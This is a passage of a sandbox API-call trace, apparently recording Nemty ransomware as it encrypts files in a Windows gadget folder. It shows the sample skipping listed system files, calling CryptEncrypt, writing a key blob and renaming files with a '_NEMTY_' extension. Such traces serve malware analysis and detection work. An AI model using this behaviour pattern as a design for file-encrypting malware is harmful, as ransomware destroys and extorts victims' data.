lstrcmpiW (lpString1="35.png", lpString2="MSDOS.SYS") returned -1 [0155.968] lstrcmpiW (lpString1="35.png", lpString2="IO.SYS") returned -1 [0155.968] lstrcmpiW (lpString1="35.png", lpString2="boot.ini") returned -1 [0155.968] lstrcmpiW (lpString1="35.png", lpString2="boot.ini") returned -1 [0155.968] lstrcmpiW (lpString1="35.png", lpString2="AUTOEXEC.BAT") returned -1 [0155.968] lstrcmpiW (lpString1="35.png", lpString2="ntuser.dat") returned -1 [0155.968] lstrcmpiW (lpString1="35.png", lpString2="desktop.ini") returned -1 [0155.968] lstrcmpiW (lpString1="35.png", lpString2="CONFIG.SYS") returned -1 [0155.968] lstrcmpiW (lpString1="35.png", lpString2="RECYCLER") returned -1 [0155.968] lstrcmpiW (lpString1="35.png", lpString2="BOOTSECT.BAK") returned -1 [0155.968] lstrcmpiW (lpString1="35.png", lpString2="bootmgr") returned -1 [0155.968] lstrcmpiW (lpString1="35.png", lpString2="programdata") returned -1 [0155.968] lstrcmpiW (lpString1="35.png", lpString2="appdata") returned -1 [0155.968] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="35.png", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0155.969] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="35.png", cchWideChar=6, lpMultiByteStr=0x653ebd0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="35.png", lpUsedDefaultChar=0x0) returned 6 [0155.969] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="35.png", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0155.969] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="35.png", cchWideChar=6, lpMultiByteStr=0x653ebd0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="35.png", lpUsedDefaultChar=0x0) returned 6 [0155.969] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="35.png", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0155.969] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="35.png", cchWideChar=6, lpMultiByteStr=0x653ec20, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="35.png", lpUsedDefaultChar=0x0) returned 6 [0155.969] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="35.png", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0155.969] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="35.png", cchWideChar=6, lpMultiByteStr=0x653ec58, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="35.png", lpUsedDefaultChar=0x0) returned 6 [0155.969] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0155.969] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0155.969] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0155.969] Sleep (dwMilliseconds=0x5) [0155.982] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x109e9950, dwHighDateTime=0x1d561e8)) [0155.982] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x109e9950, dwHighDateTime=0x1d561e8)) [0155.982] GetLastError () returned 0x5 [0155.982] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0155.982] GetLastError () returned 0x5 [0155.982] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0155.982] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0155.982] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0155.982] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0155.982] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0155.983] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0155.983] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400d0 [0155.983] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63400d0, pcchString=0x653e91c | out: pszString="BF81JQY7X8CKkFehmT7BulpuFfeX/hJlJdcfBL3nPBBpqGD0r1bRi+JzlUvhQET9\r\nwGycxoaxwy6et0XC2TldH6fJiyf7vCGoee0AzMuQFDidf3pLrYpH7GJ5ylLrAwbZ\r\nRnFsOK27ky0tlxtU9YPAiRPYALu/lWSgnRSTjbR/jJHH277vX74+eUwOlKizpfKl\r\neRgxUOs6pU1JN4IU16sgLr5MSKxKUgWydaWOS+qdgT0IrVPv1v55sKJ7al2j4In4\r\nAsXyKMLzWHbvT2WucuMm+Cpq33VEmiqBbhhHoNSTUmHEhXDC1C0lSUvZ/0glMy2a\r\n0tOBqyDgx6fmOzB3verMgg==\r\n", pcchString=0x653e91c) returned 1 [0155.983] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0155.983] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0155.983] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0155.983] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0155.983] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400d0 [0155.983] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0155.983] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\35.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\35.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0155.990] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0155.990] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0155.990] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0155.990] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0156.000] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0156.000] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0156.000] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0156.000] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0156.009] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0156.009] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0156.009] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0156.009] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0156.018] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0156.018] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0156.018] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0156.018] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0156.028] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0156.028] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0156.028] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0156.028] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0156.038] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0156.038] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0156.038] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0156.038] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0156.047] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0156.047] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0156.047] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0156.047] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0156.057] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0156.057] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0156.057] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0156.057] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0156.067] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0156.067] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0156.067] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0156.067] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0156.076] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0156.076] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0156.076] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0156.076] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0156.086] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0156.086] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0156.086] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0156.086] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0156.092] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0156.092] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0156.092] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0156.092] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0156.098] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0156.098] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0156.098] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0156.098] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63400d0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0156.098] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0156.098] CloseHandle (hObject=0xffffffff) returned 0 [0156.098] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0156.099] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0156.099] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0156.099] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0156.099] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0156.099] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0156.099] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0156.099] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0156.099] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0156.099] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0156.099] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\35.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\35.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\35.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\35.png._nemty_kgobjgd_")) returned 0 [0156.099] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0156.099] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0156.099] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0156.099] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0156.099] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0156.099] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0156.099] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0156.099] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0156.099] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86abc947, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86abc947, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2add718f, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x16df, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="36.png", cAlternateFileName="")) returned 1 [0156.099] lstrcmpiW (lpString1="36.png", lpString2=".") returned 1 [0156.099] lstrcmpiW (lpString1="36.png", lpString2="..") returned 1 [0156.099] lstrcmpiW (lpString1="36.png", lpString2="...") returned 1 [0156.099] lstrcmpiW (lpString1="36.png", lpString2="windows") returned -1 [0156.099] lstrcmpiW (lpString1="36.png", lpString2="$RECYCLE.BIN") returned 1 [0156.099] lstrcmpiW (lpString1="36.png", lpString2="rsa") returned -1 [0156.099] lstrcmpiW (lpString1="36.png", lpString2="NTDETECT.COM") returned -1 [0156.099] lstrcmpiW (lpString1="36.png", lpString2="ntldr") returned -1 [0156.099] lstrcmpiW (lpString1="36.png", lpString2="MSDOS.SYS") returned -1 [0156.099] lstrcmpiW (lpString1="36.png", lpString2="IO.SYS") returned -1 [0156.099] lstrcmpiW (lpString1="36.png", lpString2="boot.ini") returned -1 [0156.099] lstrcmpiW (lpString1="36.png", lpString2="boot.ini") returned -1 [0156.099] lstrcmpiW (lpString1="36.png", lpString2="AUTOEXEC.BAT") returned -1 [0156.100] lstrcmpiW (lpString1="36.png", lpString2="ntuser.dat") returned -1 [0156.100] lstrcmpiW (lpString1="36.png", lpString2="desktop.ini") returned -1 [0156.100] lstrcmpiW (lpString1="36.png", lpString2="CONFIG.SYS") returned -1 [0156.100] lstrcmpiW (lpString1="36.png", lpString2="RECYCLER") returned -1 [0156.100] lstrcmpiW (lpString1="36.png", lpString2="BOOTSECT.BAK") returned -1 [0156.100] lstrcmpiW (lpString1="36.png", lpString2="bootmgr") returned -1 [0156.100] lstrcmpiW (lpString1="36.png", lpString2="programdata") returned -1 [0156.100] lstrcmpiW (lpString1="36.png", lpString2="appdata") returned -1 [0156.100] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="36.png", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0156.100] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="36.png", cchWideChar=6, lpMultiByteStr=0x653ebd0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="36.png", lpUsedDefaultChar=0x0) returned 6 [0156.100] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="36.png", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0156.100] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="36.png", cchWideChar=6, lpMultiByteStr=0x653ebd0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="36.png", lpUsedDefaultChar=0x0) returned 6 [0156.100] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="36.png", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0156.100] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="36.png", cchWideChar=6, lpMultiByteStr=0x653ec20, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="36.png", lpUsedDefaultChar=0x0) returned 6 [0156.100] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="36.png", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0156.100] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="36.png", cchWideChar=6, lpMultiByteStr=0x653ec58, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="36.png", lpUsedDefaultChar=0x0) returned 6 [0156.100] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0156.100] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0156.100] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0156.100] Sleep (dwMilliseconds=0x5) [0156.107] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x10b1a450, dwHighDateTime=0x1d561e8)) [0156.107] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x10b1a450, dwHighDateTime=0x1d561e8)) [0156.107] GetLastError () returned 0x5 [0156.107] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0156.107] GetLastError () returned 0x5 [0156.107] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0156.107] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0156.107] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0156.107] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0156.107] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, 